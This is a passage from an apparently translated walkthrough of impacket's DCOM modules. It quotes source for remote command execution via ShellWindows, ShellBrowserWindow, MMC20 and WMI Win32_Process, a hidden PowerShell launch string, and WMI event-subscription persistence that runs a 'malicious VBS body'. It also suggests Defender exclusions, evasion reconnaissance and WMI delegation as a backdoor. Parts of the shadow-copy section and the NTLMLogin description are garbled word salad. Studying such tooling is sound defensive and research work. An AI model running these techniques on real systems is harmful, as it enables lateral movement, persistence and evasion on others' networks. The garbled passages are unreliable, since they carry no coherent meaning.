        request = IDispatch_Invoke()
        request['dispIdMember'] = dispIdMember
        request['riid'] = IID_NULL
        request['lcid'] = lcid
        request['dwFlags'] = dwFlags
        request['pDispParams'] = pDispParams
        request['cVarRef'] = cVarRef
        request['rgVarRefIdx'] = rgVarRefIdx
        request['rgVarRef'] = rgVarRefIdx
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        return resp

The dcomexec ShellWindows invocation uses Invoke:

class DCOMEXEC:
    ......
    def getInterface(self, interface, resp):
        # Now let's parse the answer and build an Interface instance
        objRefType = OBJREF(b''.join(resp))['flags']
        objRef = None
        if objRefType == FLAGS_OBJREF_CUSTOM:
            objRef = OBJREF_CUSTOM(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_HANDLER:
            objRef = OBJREF_HANDLER(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_STANDARD:
            objRef = OBJREF_STANDARD(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_EXTENDED:
            objRef = OBJREF_EXTENDED(b''.join(resp))
        else:
            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)

        return IRemUnknown2(
            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
                      target=interface.get_target()))

    def run(self, addr, silentCommand=False):
        ......
        # (1) Establish the DCOM connection (EPM resolution, SCM activation and OXID resolution happen inside)
        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)   # the generic parameter container for Invoke
            ......

            if self.__dcomObject == 'ShellWindows':
                # (2) Activate the DCOM component by CLSID; CoCreateInstanceEx returns the default IDispatch interface
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                # (3) GetIDsOfNames: method/property name -> DISPID; Invoke: call by DISPID
                resp = iMMC.GetIDsOfNames(('Item',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
                # (4) The property returns a marshaled interface pointer; getInterface unpacks the OBJREF into a new interface
                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document',))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            elif self.__dcomObject == 'MMC20':
                ......

            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                # (5) MMC20: Document.ActiveView.ExecuteShellCommand(...) runs the command
                resp = iDocument.GetIDsOfNames(('ActiveView',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
            else:
                # (5) ShellWindows/ShellBrowserWindow: Document.Application.ShellExecute(...) runs the command
                resp = iDocument.GetIDsOfNames(('Application',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
            ......

Excerpt note: the OBJREF dispatch in getInterface and the activation / property-chain / command-execution paths of the three DCOM components in run() are kept. The ~300-line RemoteShell / RemoteShellMMC20 semi-interactive shell implementation in the dcomexec source (SMB file read/write for output retrieval, codec handling, prompt management) is unrelated to the teaching point and omitted here — see examples/dcomexec.py for the full implementation.

0x409 is the US-English locale ID (LCID).

When dcomexec drives the ShellBrowserWindow COM object it uses the Document.Application property and calls ShellExecute on the object returned by Document.Application.Parent to execute commands.

6.3.2 [MS-COMEV] comev.py

The COM+ module. The COM+ protocol stores and manages configuration data of event publishers and their subscribers on remote machines, and specifies how to obtain specific information about publishers and subscribers. The publish-subscribe framework lets applications publish historical information that other applications may be interested in: the publishing application is the publisher, the subscribing one the subscriber, and publishers express the information in discrete units called events. Subscribers subscribe by creating subscriptions to events. The COM+ Event System protocol manages events and their subscriptions on remote machines, exposed as a set of DCOM [MS-DCOM] interfaces. Publishers can publish, update or delete events on remote machines; subscribers can create subscriptions, and modify, query or delete subscriptions. A subscriber may request specific types or sets of events by specifying filter criteria. In short: remote event management. The COM+ Event System protocol communicates over DCOM [MS-DCOM], authenticating all requests against the infrastructure, and together with DCOM it uses the OLE Automation protocol [MS-OAUT] via the BSTR and VARIANT types of the IDispatch interface. The protocol described in [MS-COMA] can register type libraries for the event classes and subscriber DCOM components used by the COM+ Event System, and discover subscriber DCOM components registered on a server to create subscriptions.

event: a discrete unit of historical data an application exposes that may be relevant to other applications — e.g. a specific user logging on to a computer.

event class: a collection of historical data grouped by criteria specified by the publishing application.

event interface: a collection of event methods; an event class contains one or more event interfaces.

event method: a method invoked by the publish-subscribe framework when the publisher application generates an event.

filter criteria: the set of rules a subscriber specifies as part of a subscription defining which kinds of historical data it wants to receive.

The module opens with the event-related COM component CLSIDs and the communication data structures; the IEventClass* classes provide the event query/modify functions:

class IEventClass3(IEventClass2):
    def __init__(self, interface):
        IEventClass2.__init__(self,interface)
        self._iid = IID_IEventClass3

    def get_EventClassPartitionID(self):
        request = IEventClass3_get_EventClassPartitionID()
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        resp.dump()
        return resp

    def put_EventClassPartitionID(self, bstrEventClassPartitionID):
        request = IEventClass3_put_EventClassPartitionID()
        request['bstrEventClassPartitionID '] = bstrEventClassPartitionID
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        resp.dump()
        return resp

    def get_EventClassApplicationID(self):
        request = IEventClass3_get_EventClassApplicationID()
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        resp.dump()
        return resp
        ............

6.3.3 [MS-SCMP] scmp.py

The Shadow Copy Management Protocol programmatically enumerates shadow copies and configures shadow copy storage on remote machines:

Volume Shadow Copy Service architecture

Shadow copy: a copy of the data on a volume taken at a well-defined moment.

Shadow copy provider: a software component on the server providing local services to create, enumerate, delete and manage shadow copies.

Shadow copy set: a collection of shadow copies created simultaneously and identified by a common ID.

Shadow copy storage: the storage location holding differential data from the original volume to maintain all its shadow copies; a file or set of files on the same or a different volume.

Shadow copy storage association: the relationship between an original volume and the volume holding its shadow copy storage.

Shadow copy storage volume: the volume where shadow copy storage lives.

Snapshot: the point in time at which the shadow copy is made.

Like snapshotting a VM, this snapshots a system volume — attackers use it to extract ntds.dit, execute commands and so on.

enumerates
asgroup XML used forallgroupmethod thengroup
all
allrolling/log
 entry I/O can I/O not 60 entry
 not 10 inthisall entry I/O
releases entry I/O
VSS entry I/O thiscan entryin

How the Volume Shadow Copy Service works

clientobtainsIVssSnapshotMgmt client IVssSnapshotMgmt::QueryVolumesSupportedForSnasphotsthisasthismethod toobtainscanservermustIVssEnumMgmtObject clientcanintheonmethod toclient IVssSnapshotMgmt::QuerySnapshotsByVolume obtainsinspecifiedonservermust IVssEnumObject clientcanintheonmethod toclient IVssSnapshotMgmt::GetProviderMgmtInterface methodobtainsIVssDifferentialSoftwareSnapshotMgmt servermust IVssDifferentialSoftwareSnapshotMgmt clientcanintheonmethod to

used for IVssSnapshotMgmt::GetProviderMgmtInterface obtainsclient IVssDifferentialSoftwareSnapshotMgmt::QueryVolumesSupportedForDiffArea method toobtainsused forservermust IVssEnumMgmtObject clientcanintheonmethod toclient IVssDifferentialSoftwareSnapshotMgmt::QueryDiffAreasForVolume obtainsin. servermust IVssEnumMgmtObject clientcanintheonmethod toclient IVssDifferentialSoftwareSnapshotMgmt::QueryDiffAreasOnVolume obtainsused forinonservermust IVssEnumMgmtObject clientcanintheonmethod to

The module first defines the CLSIDs of IVssSnapshotMgmt and friends plus the data structures the shadow-copy protocol needs (VSS_ID etc.)

It then implements query functions such as enumerating shadow copies. Despite the name "shadow copy management protocol", it can only query — it cannot create shadow copies.

class IVssSnapshotMgmt(IRemUnknown2):
    def __init__(self, interface):
        IRemUnknown2.__init__(self, interface)
        self._iid = IID_IVssSnapshotMgmt

    def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):
        req = GetProviderMgmtInterface()
        classInstance = self.get_cinstance()
        req['ORPCthis'] = classInstance.get_ORPCthis()
        req['ORPCthis']['flags'] = 0
        req['ProviderId'] = providerId
        req['InterfaceId'] = interfaceId
        resp = self.request(req, self._iid, uuid = self.get_iPid())
        return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))

Amusingly, examples/secretsdump.py indeed never calls the scmp module — it enumerates shadow copies by remotely executing vssadmin. The protocol is implemented, but nothing in impacket uses it:

  def __getLastVSS(self, forDrive=None):
        if forDrive:
            command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
        else:
            command = '%COMSPEC% /C vssadmin list shadows'
        self.__executeRemote(command)
        time.sleep(5)
        tries = 0
        while True:
            try:
                self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                break
            except Exception as e:
                if tries > 30:
                    # We give up
                    raise Exception('Too many tries trying to list vss shadows')
                if str(e).find('SHARING') > 0:
                    # Stuff didn't finish yet.. wait more
                    time.sleep(5)
                    tries +=1
                    pass
                else:
                    raise

6.3.4 [MS-VDS] vds.py

The Virtual Disk Service (VDS) Remote Protocol is a set of distributed COM (DCOM) interfaces managing disk storage configuration on a computer; it deals with detailed, low-level OS and storage concepts.

The module mainly defines the variables the protocol needs plus interface functions such as adding / removing virtual disks; no impacket script uses it yet:

class IVdsService(IRemUnknown2):
    def __init__(self, interface):
        IRemUnknown2.__init__(self, interface)

    def IsServiceReady(self):
        # boilerplate pattern: request -> on error, fetch the response packet from the exception object (e.get_packet())
        request = IVdsService_IsServiceReady()
        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
        request['ORPCthis']['flags'] = 0
        try:
            resp = self.request(request, uuid = self.get_iPid())
        except Exception as e:
            resp = e.get_packet()
        return resp 

    ......

    def QueryProviders(self, masks):
        # query providers: returns an enumerable IEnumVdsObject;
        # each object enumerated afterwards is likewise an IRemUnknown2-derived interface
        request = IVdsService_QueryProviders()
        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
        request['ORPCthis']['flags'] = 0
        request['masks'] = masks
        resp = self.request(request, uuid = self.get_iPid())
        return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))

6.3.5 [MS-WMI] wmi.py

The WMI protocol

The Windows Management Instrumentation Remote Protocol communicates over the DCOM Remote Protocol and validates every request against the infrastructure. DCOM is effectively the foundation of WMI remoting, taking care of:

  • Establishing the protocol.
  • Securing the communication channel.
  • Authenticating the client.
  • Providing reliable client/server communication.

That means the DCOM implementation provides and consumes all the lower-layer protocols. Beyond DCOM, the WMI remote protocol uses the special encoding defined in [MS-WMIO] to carry the information defined in [DMTF-DSP0004] over the network. It conveys management data conforming to the Common Information Model (CIM); users manage local and remote computers through WMI. The alternative is Windows Remote Management (WinRM), which fetches remote WMI management data over SOAP.

img

The figure shows how the WMI infrastructure relates to WMI providers, managed objects and WMI consumers (which can use wmic, wbemtest, the WMI Scripting API, or COM interfaces directly; .NET uses System.Management).

A WMI provider is a COM object (component) that monitors one or more managed objects. A managed object is a logical or physical component — a disk drive, network adapter, database system, operating system, process or service. Much like a driver, a WMI provider feeds data from the managed objects to the WMI service and relays the WMI service's requests back to them.

image description

The table below lists the OS WMI providers — WMI's capabilities are all delivered by the providers of the various OS features.

Provider Description
Active Directory provider Maps Active Directory objects to WMI; by accessing the LDAP namespace in WMI you can reference or alias objects in Active Directory.
BitLocker Drive Encryption (BDE) provider Provides configuration and management of storage areas on hard drives, represented by instances of Win32_EncryptableVolume, protectable with encryption.
BizTalk provider Access to BizTalk management objects represented by WMI classes.
Boot Configuration Data (BCD) provider Access to boot configuration data through the BCD provider classes in the Root\WMI namespace. See the BCD reference.
CIMWin32 WMI providers Support the classes implemented in CimWin32.dll: core CIM WMI classes, their Win32 implementations, and power-management events.
Distributed File System (DFS) provider Provides DFS functionality, logically grouping shares across multiple servers and transparently linking them into a tree within a single namespace.
Distributed File System Replication (DFSR) provider Creates tools for configuring and monitoring the DFS service. See DFSR WMI classes.
DNS provider Lets administrators and programmers configure DNS resource records (RR) and DNS servers via WMI.
Disk quota provider Lets administrators control how much data each user stores on NTFS volumes.
Event log provider Data access from the event log service to event notifications.
Hyper-V WMI provider (V2) Lets developers and scripters quickly build custom tools, utilities and enhancements for the virtualization platform.
Hyper-V WMI provider Lets developers and scripters quickly build custom tools, utilities and enhancements for the virtualization platform.
Internet Information Services (IIS) Exposes programming interfaces for querying and configuring the IIS metabase.
IP route provider Provides network routing information.
Job object provider Access to data on named kernel job objects.
Intelligent Platform Management Interface (IPMI) Works with the WMI IPMI provider to surface baseboard management controller (BMC) data to the OS.
Live Communications Server 2003 provider WMI classes for creating, registering, configuring and managing custom SIP applications with Live Communications Server 2003.
Network Load Balancing (NLB) Lets applications interact with NLB clusters through WMI.
Ping provider Gives WMI access to the status information of the standard ping command.
Policy provider Extends Group Policy and improves policy application.
Power management event provider Models the Windows power management protocol to feed the Win32_PowerManagementEvent class describing power-management events caused by power state changes.
Remote Desktop Services WMI provider Consistent server management in Remote Desktop Services environments.
Reporting Services provider WMI classes for scripting and modifying report server and report manager settings.
Resultant Set of Policy (RSoP) provider Methods for planning and debugging policy settings in hypothetical scenarios, letting administrators determine which policy combination applies (or would apply) to a user or computer. See About the RSoP WMI method provider and RSoP WMI classes.
Security provider Retrieves or changes the security settings controlling ownership, auditing and access permissions of files, directories and shares.
Server cluster provider WMI classes for accessing cluster objects, properties and events.
Session provider Manages network sessions and connections.
Shadow copy provider Management of shadow copies for the shared-folders feature.
SNMP provider Maps SNMP objects defined in MIB schema objects to WMI CIM classes. Not preinstalled. See Setting up the WMI SNMP environment.
System Center Endpoint Protection (SCEP) WMI classes enabling System Center Endpoint Protection management.
System registry provider Lets management applications retrieve and modify registry data and be notified of changes; two versions exist on 64-bit platforms.
System restore provider Classes for configuring and using System Restore. See Configuring System Restore and System Restore WMI classes.
Trusted Platform Module provider Access to data about security devices, represented by instances of Win32_TPM, the root of trust of Windows platform systems.
Trust provider Access to information about domain trusts.
View provider Creates new instances and methods based on instances of other classes; two versions exist on 64-bit platforms.
WDM provider Access to classes, instances, methods and events of hardware drivers conforming to the Windows Driver Model (WDM).
Win32 provider Access and update data from Windows systems, such as current environment variables and logical-disk properties.
Windows Defender WMI classes enabling Windows Defender management.
Windows Installer provider Access to information gathered from Windows Installer-compatible applications; makes Windows Installer operations available remotely.
Windows Product Activation provider Supports Windows Product Activation (WPA) management via WMI with consistent server management; WPA is not available on Itanium-based Windows.
WMIPerfClass provider Creates WMI performance counter classes; WMIPerfInst feeds these classes dynamically, and both replace the ADAP function.
WmiPerfInst provider Dynamically provides raw and formatted performance counter data from the WMI performance counter classes.

For orientation, take an early look at examples/wmiexec.py — it invokes the Create method of the CIMWin32 provider's Win32_Process class to start a process running cmd or PowerShell (or a reverse shell):

# eg./examples/wmiexec.py

    ...................
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand)
    ...............

class RemoteShell(cmd.Cmd):
    def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__output = '\\' + OUTPUT_FILENAME
        self.__outputBuffer = str('')
        self.__shell = 'cmd.exe /Q /c '
        self.__shell_type = shell_type
        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
        self.__win32Process = win32Process
        self.__transferClient = smbConnection
        self.__silentCommand = silentCommand
        self.__pwd = str('C:\\')
        self.__noOutput = False
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
    .....................

The methods of the Win32_Process class:

Method Description
AttachDebugger Launches the currently registered debugger for a process.
Create Creates a new process.
GetAvailableVirtualSize Computes the virtual address space available to the process
GetOwner Retrieves the user name and domain under which the process runs.
GetOwnerSid Retrieves the security identifier (SID) of the process owner.
SetPriority Changes the execution priority of the process.
Terminate Terminates the process and all its threads.

The properties of Win32_Process:

Property Data type Description
CommandLine string The command line used to start the process (where applicable)
CreationClassName string The class or subclass name used to create the instance; together with the other key properties it uniquely identifies all instances of the class and its subclasses. Inherited from CIM_Process
CreationDate datetime The date the process began executing. Inherited from CIM_Process
CSCreationClassName string The creation class name of the scoping computer system. Inherited from CIM_Process
CSName string The name of the scoping computer system. Inherited from CIM_Process
...... See the official documentation for the remaining properties

More properties at https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process .

Listing them all adds little — in practice, first decide which capability you need remotely, then look up the corresponding provider / class / method / property and invoke it.

Here is another example.

Another example: the Add method of the MSFT_MpPreference class in the Windows Defender WMIv2 API (invocations prompt for confirmation by default; -Force suppresses it):

uint32 Add(
 [in] string ExclusionPath[], // output
 [in] string ExclusionExtension[], // output
 [in] string ExclusionProcess[], // output
 [in] sint64 ThreatIDDefaultAction_Ids[], // not ID
 [in] uint8 ThreatIDDefaultAction_Actions[], // onwith Ids specified
  [in] boolean Force
);

The MSFT_MpComputerStatus class under the same provider reveals the currently deployed security software and versions — handy for pre-evasion reconnaissance (the original local screenshot is lost).

WMI delegation

Another interesting point: per the official documentation (https://learn.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-a-3rd-computer-delegation), a script running on the local system that pulls data from a remote system only needs the Impersonate impersonation level for WMI to hand credentials to the data provider on the remote system. But if the script, having connected to the remote system's WMI, then reaches out to a third machine (e.g. opening a log file on yet another remote system), it will fail unless the impersonation level is Delegate. So you can configure WMI delegation for an account you created, and thereby control a third machine (such as a DC) through WMI. Public material on this is scarce; the mechanism might make a decent backdoor.

Here is a PowerShell script implementing WMI namespace delegation, and its usage:

https://github.com/grbray/PowerShell/blob/main/Windows/Set-WMINameSpaceSecurity.ps1

https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/delegate-wmi-access-to-domain-controllers/ba-p/259535

Module code walkthrough

From the wmiexec script earlier we saw that WMI is reached through the IWbemLevel1Login interface.

The IWbemLevel1Login interface lets a user connect to the management service interface in a specific namespace. The interface must be uniquely identified by UUID {F309AD18-D86A-11d0-A075-00C04FB68820}.

IWbemLevel1Login contains four methods:

Method Description Opnum
EstablishPosition Does nothing; mainly locale negotiation before NTLMLogin 3
RequestChallenge Does nothing 4
WBEMLogin Does nothing 5
NTLMLogin Connects the user to the management service interface in the specified namespace 6

Focus on NTLMLogin's parameters:

 HRESULT NTLMLogin(
 [in, unique, string] LPWSTR wszNetworkResourcereturns IWbemServices objectserveronthisnotas NULL
 [in, unique, string] LPWSTR wszPreferredLocale,themustspecifiedifclientnotservercreates alist
   [in] long lFlags,mustas 0
 [in] IWbemContext* pCtx,mustIWbemContext mustcontainingclientinformationifpCtx as NULLthenmustthe
 [out] IWbemServices** ppNamespaceifppNamespace mustreturns a IWbemServicesthismustsetsas NULL
 );
as IWbemLevel1Login::NTLMLogin methodservermustreturns wszNetworkResource IWbemServices servermustcreates a IWbemServices object wszPreferredLocale inobjectservermustin NamespaceConnectionTable with wszNetworkResource NamespaceConnection objectin IWbemServices objectservermust GrantedAccess setsasclientgroupinformationall IWbemServices methodmust wszPreferredLocale specifiedreturnsinformationas NULL serverthemethodmust IWbemServices padding ppNamespace mustreturns WBEM_S_NO_ERROR

Here is the IWbemLevel1Login class's implementation of NTLMLogin:

class IWbemLevel1Login(IRemUnknown):
    ........    
    def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx):
        request = IWbemLevel1Login_NTLMLogin()
        request['wszNetworkResource'] = checkNullString(wszNetworkResource)
        request['wszPreferredLocale'] = checkNullString(wszPreferredLocale)
        request['lFlags'] = 0
        request['pCtx'] = pCtx
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        return IWbemServices(
            INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(),
                      target=self.get_target()))

From this point on, IWbemServices carries out the provider calls.

The methods of the IWbemServices interface:

Method Description
OpenNamespace Provides the client with an IWbemServices interface pointer scoped to the requested namespace
CancelAsyncCall Cancels the asynchronous method call identified by the current IWbemObjectSink pointer
QueryObjectSink Obtains the notification handler letting the client send events directly to the server
GetObject Retrieves a CIM class or CIM instance.
GetObjectAsync Asynchronous version of IWbemServices::GetObject
PutClass Creates a new class or updates an existing one in the namespace associated with the current IWbemServices interface
PutClassAsync Asynchronous version of IWbemServices::PutClass
DeleteClass Deletes the specified class from the namespace associated with the current IWbemServices interface
DeleteClassAsync Asynchronous version of IWbemServices::DeleteClass.
CreateClassEnum Creates a class enumerator.
CreateClassEnumAsync Asynchronous version of IWbemServices::CreateClassEnum.
PutInstance Creates or updates an instance of an existing class
PutInstanceAsync Asynchronous version of PutInstance.
DeleteInstance Deletes an instance of an existing class
DeleteInstanceAsync Asynchronous version of IWbemServices::DeleteInstance.
CreateInstanceEnum Creates an instance enumerator of all class instances satisfying the selection criteria
CreateInstanceEnumAsync Asynchronous version of IWbemServices::CreateInstanceEnum.
ExecQuery Returns an enumerable collection of IWbemClassObject interface objects based on a query.
ExecQueryAsync Asynchronous version of IWbemServices::ExecQuery.
ExecNotificationQuery When the client requests an event subscription, the server runs the query to receive events.
ExecNotificationQueryAsync Asynchronous version of IWbemServices::ExecNotificationQuery.
ExecMethod Executes a CIM method implemented by a CIM class or instance retrieved from the IWbemServices interface.
ExecMethodAsync Asynchronous version of IWbemServices::ExecMethod

All the main WMI remote-management functions live here; the module implements every one of them:

class IWbemServices(IRemUnknown):
    def __init__(self, interface):
        IRemUnknown.__init__(self,interface)
        self._iid = IID_IWbemServices

    def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL):
        request = IWbemServices_OpenNamespace()
        request['strNamespace']['asData'] = strNamespace
        request['lFlags'] = lFlags
        request['pCtx'] = pCtx
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        resp.dump()
        return resp

    def CancelAsyncCall(self,IWbemObjectSink ):
        request = IWbemServices_CancelAsyncCall()
        request['IWbemObjectSink'] = IWbemObjectSink
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        return resp['ErrorCode']

    def QueryObjectSink(self):
        request = IWbemServices_QueryObjectSink()
        request['lFlags'] = 0
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(),
                         target=self.get_target())

    def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL):
        request = IWbemServices_GetObject()
        request['strObjectPath']['asData'] = strObjectPath
        request['lFlags'] = lFlags
        request['pCtx'] = pCtx
        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
        ppObject = IWbemClassObject(
            INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
                      oxid=self.get_oxid(), target=self.get_target()), self)
        if resp['ppCallResult'] != NULL:
            ppcallResult = IWbemCallResult(
                INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),
                          target=self.get_target()))
        else:
            ppcallResult = NULL
        return ppObject, ppcallResult
    ..........

For method invocation see examples/wmipersist.py: in REMOVE mode it deletes existing instances via DeleteInstance; otherwise it calls GetObject on the ActiveScriptEventConsumer, __EventFilter, and __IntervalTimerInstruction classes, derives new instances via SpawnInstance, then writes them back with PutInstance:

 if self.__options.action.upper() == 'REMOVE':
            # removal: delete the four instance kinds one by one (Consumer / Filter / Timer / Binding)
            self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,
                            iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name))
            ......   # __EventFilter, __IntervalTimerInstruction and __FilterToConsumerBinding removed the same way

        else:
            # install: (1) GetObject fetches the class definition -> SpawnInstance derives an instance -> fill properties -> PutInstance writes it back
            activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer')
            activeScript = activeScript.SpawnInstance()
            activeScript.Name = self.__options.name
            activeScript.ScriptingEngine = 'VBScript'          # VBScript as the event-triggered payload
            activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]   # Creator SID
            activeScript.ScriptText = options.vbs.read()       # the malicious VBS body
            self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, 
                iWbemServices.PutInstance(activeScript.marshalMe()))

            if options.filter is not None:
                ......   # __EventFilter: the WQL query and its namespace root\cimv2
            else:
                wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')
                wmiTimer = wmiTimer.SpawnInstance()
                wmiTimer.TimerId = 'TI_%s' % self.__options.name
                wmiTimer.IntervalBetweenEvents = int(self.__options.timer)    # timer interval
                self.checkError('Adding IntervalTimerInstruction',
                    iWbemServices.PutInstance(wmiTimer.marshalMe()))

                eventFilter,_ = iWbemServices.GetObject('__EventFilter')
                eventFilter =  eventFilter.SpawnInstance()
                eventFilter.Name = 'EF_%s' % self.__options.name
                eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name
                eventFilter.QueryLanguage = 'WQL'
                eventFilter.EventNamespace = r'root\subscription'
                ......

            # (2) bind Filter -> Consumer; when the event fires, the script runs
            filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding')
            filterBinding = filterBinding.SpawnInstance()
            filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name
            filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name
            filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]

            self.checkError('Adding FilterToConsumerBinding',
                iWbemServices.PutInstance(filterBinding.marshalMe()))

The derivation uses the IWbemClassObject::SpawnInstance method from wbemcli.h:

HRESULT SpawnInstance(
  [in]  long             lFlags,
  [out] IWbemClassObject **ppNewInstance
);

The current object must be a class definition obtained from WMI via IWbemServices::GetObject, IWbemServices::CreateClassEnum or IWbemServices::CreateClassEnumAsync; that definition is then used to create the new instance. IWbemServices::PutInstance must be called to actually write the instance into WMI. To discard the object before PutInstance, simply call IWbemClassObject::Release. Note that spawning from an instance is supported, but the returned instance will be empty.

The roles of the 3 classes used in the script.

  • The ActiveScriptEventConsumer class runs a predefined script in an arbitrary scripting language whenever an event is delivered to it.

  • The __IntervalTimerInstruction system class generates events at intervals, similar to the WM_TIMER message in Windows programming. Event consumers register to receive interval-timer events by creating event queries referencing this class. Due to OS behavior, delivery at exactly the requested interval is not guaranteed.

  • Registration of permanent event consumers requires instances of the __EventFilter system class.

wmipersist.py builds a WQL event query that listens for events and, when one fires, executes the attacker's pre-planted script.

Beyond the classes above, the wmi module also implements the following interfaces:

  • IEnumWbemClassObject: enumerates or clones collections of CIM objects

  • IWbemCallResult: returns call results from semisynchronous calls that return a single CIM object

  • IWbemFetchSmartEnum: a helper interface retrieving the network-optimized enumerator interface
  • IWbemWCOSmartEnum: an alternative synchronous enumeration of CIM objects for IEnumWbemClassObject
  • IWbemLoginClientID: SetClientInfo passes the client's NetBIOS name and a client-generated unique number to the server.
  • IWbemLoginHelper: SetEvent signals an event by name on the server.

That completes the wmi module.